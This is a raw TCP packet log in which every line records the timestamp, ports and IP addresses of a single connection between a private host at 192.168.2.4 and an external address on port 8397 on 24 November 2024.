Nov 24, 2024 12:10:11.552788973 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.552829027 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.553916931 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.554009914 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.554047108 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.555154085 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.555284977 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.555341005 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.556405067 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.608916044 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.710007906 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.710026979 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.710088015 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.710129023 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.710258961 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.710293055 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.711379051 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.711519957 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.711551905 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.712676048 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.712780952 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.712814093 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.713880062 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.714001894 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.714034081 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.715145111 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.715291023 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.715323925 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.716392994 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.716511011 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.716543913 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.717814922 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.717866898 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.717924118 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.719111919 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.719198942 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.719232082 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.720472097 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.720597982 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.720629930 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.721815109 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.721956968 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.721995115 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.723092079 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.723326921 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.723365068 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.724201918 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.724311113 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.724343061 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.725228071 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.725370884 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.725404024 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.726425886 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.726548910 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.726591110 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.727688074 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.727801085 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.727832079 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.729000092 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.729060888 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.729103088 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.730189085 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.730289936 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.730333090 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.731442928 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.731554985 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.731590986 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.732703924 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.732816935 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.732848883 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.733937979 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.734061003 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.734097004 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.735227108 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.735452890 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.735486031 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.736454964 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.736571074 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.736602068 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.737705946 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.737838030 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.737869978 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.738971949 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.739151955 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.739181995 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.740221977 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.740345955 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.740380049 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.741467953 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.741588116 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.741620064 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.742752075 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.742861032 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.742892027 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.743994951 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.744112015 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.744151115 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.745256901 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.745351076 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.745390892 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.746491909 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.746561050 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.746597052 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.747755051 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.747885942 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.747926950 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.749002934 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.749102116 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.749142885 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.750258923 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.750320911 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.750359058 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.750524044 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.751521111 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.751645088 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.751693964 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.752772093 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.752908945 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.752952099 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.754018068 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.754125118 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.754163980 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.755273104 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.755384922 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.755429029 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.756527901 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.756634951 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.756673098 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.757769108 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.757894039 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.757941961 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.759021044 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.759162903 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.759206057 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.760368109 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.760462999 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.760503054 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.761554003 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.761646032 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.761684895 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.762787104 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.762892962 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.762933016 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.764103889 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.764199972 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.764247894 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.765584946 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.765691996 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.765769958 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.766854048 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.766935110 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.766973972 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.767806053 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.767934084 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.767972946 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.769089937 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.769215107 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.769253016 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.770349026 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.770468950 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.770513058 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.771575928 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.771684885 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.771722078 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.772830009 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.772942066 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.772988081 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.774068117 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.774264097 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.774308920 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.775333881 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.827646017 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.922828913 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.922899961 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.922974110 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.923265934 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.923377037 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.923413992 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.924540997 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.924655914 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.924699068 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.925899029 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.926054001 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.926091909 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.927047968 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.927162886 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.927200079 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.928364038 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.928478956 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.928519011 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.929578066 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.929773092 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.929816008 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.930814981 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.930943012 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.930979013 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.932130098 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.932310104 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.932351112 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.933298111 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.933414936 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.933449984 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.934565067 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.934684038 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.934725046 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.935832024 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.935931921 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.935966969 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.937069893 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.937197924 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.937233925 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.938325882 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.938415051 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.938452959 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.939663887 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.939774990 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.939810038 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.940906048 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.941004038 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.941045046 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.942075014 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.942202091 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.942241907 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.943350077 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.943491936 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.943528891 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.944607019 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.944746017 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.944781065 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.945837975 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.945979118 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.946012974 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.947156906 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.947323084 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.947364092 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.948354006 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.948472977 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.948513031 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.949620008 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.949733019 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.949769020 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.950860977 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.951004982 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.951041937 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.952172041 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.952244043 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.952280045 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.953373909 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.953502893 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.953551054 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.954608917 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.954732895 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.954766989 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.955929995 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.956053972 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.956087112 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.957665920 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.957715034 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.957756042 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.958439112 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.958553076 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.958586931 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.959702969 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.959803104 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.959837914 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.960882902 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.960985899 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.961023092 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.962121010 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.962245941 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.962280989 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.963490963 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.963596106 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.963638067 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.964638948 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.964759111 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.964802027 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.965893030 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.966023922 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.966061115 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.967171907 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.967298985 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.967338085 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.968410015 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.968522072 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.968559980 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.969660997 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.969805002 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.969837904 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.970928907 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.971054077 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.971120119 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.972166061 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.972259045 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.972294092 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.973409891 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.973534107 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.973566055 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.974675894 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.974868059 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.974900007 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.975939989 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.976066113 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.976104975 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.977196932 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.977312088 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.977346897 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.978430986 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.978555918 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.978591919 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.979676962 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.979809046 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.979842901 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.980920076 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.981048107 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.981089115 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.982194901 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.982352018 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.982387066 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.983437061 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.983571053 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.983608007 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.984673023 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.984811068 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.984855890 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.985956907 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.986073017 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.986114025 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.987205029 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.987385035 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.987432957 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.988388062 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.030806065 CET	49733	8397	192.168.2.4	194.15.46.236
